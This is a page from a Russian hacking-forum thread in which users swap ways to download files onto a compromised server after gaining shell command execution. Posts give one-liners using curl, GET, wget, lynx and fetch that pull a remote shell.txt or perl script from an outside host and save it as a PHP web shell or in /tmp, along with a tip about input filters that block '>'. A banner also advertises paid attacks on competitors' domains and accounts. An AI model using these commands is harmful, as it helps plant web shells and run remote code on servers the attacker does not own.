Как создать файл имея возможность выполнить команду интерпретатора?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Как создать файл имея возможность выполнить команду интерпретатора?

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

28.08.2008, 12:08

n0mie

Новичок

Регистрация: 28.05.2008

Сообщений: 6

С нами: 9449700

Репутация: 0

Цитата:

Сообщение от Nek1t

ТС несколько путает интерпритатор PHP и /bin/bash.

Имхо просто не внимательно читаете..
"Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код."

Скачать файл получилось.. Только не wget, а fetch'ем..

#12

28.08.2008, 12:35

Nek1t

Участник форума

Регистрация: 07.03.2008

Сообщений: 141

С нами: 9567396

Репутация: 23

Цитата:

Имхо просто не внимательно читаете..

Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил.

Цитата:

Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код.

Гланое, что утерли нос [ cash ] и .Slip

#13

28.08.2008, 12:57

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
для таких целей можно пролазеть, грубо вырожаясь через зад.
Часто сталкивался что только такие методы помогали.
curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php

#14

28.08.2008, 13:34

Nek1t

Участник форума

Регистрация: 07.03.2008

Сообщений: 141

С нами: 9567396

Репутация: 23

Цитата:

lynx: lynx -source "http://site.com/perl.txt" > /tmp/perl.pl
links: как и lynx
wget: wget -O /tmp/perl.pl http://site.com/perl.txt
GET: GET http://site.com/perl.txt > /tmp/perl.pl
fetch: fetch -o perl.pl http://site.com/perl.txt
curl: curl --output perl http://site.com/perl.txt

(c)ICEMAN-666

#15

28.08.2008, 13:36

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

в том то и дело что часто встречался с фильтром символов таких как ">"

Страница 2 из 2

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Как стать хакером!	foreva	Болталка	19	12.12.2007 00:12
Установка Windoze глазами линуксоида (100% факты)	nerezus	Болталка	47	16.10.2005 15:06

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход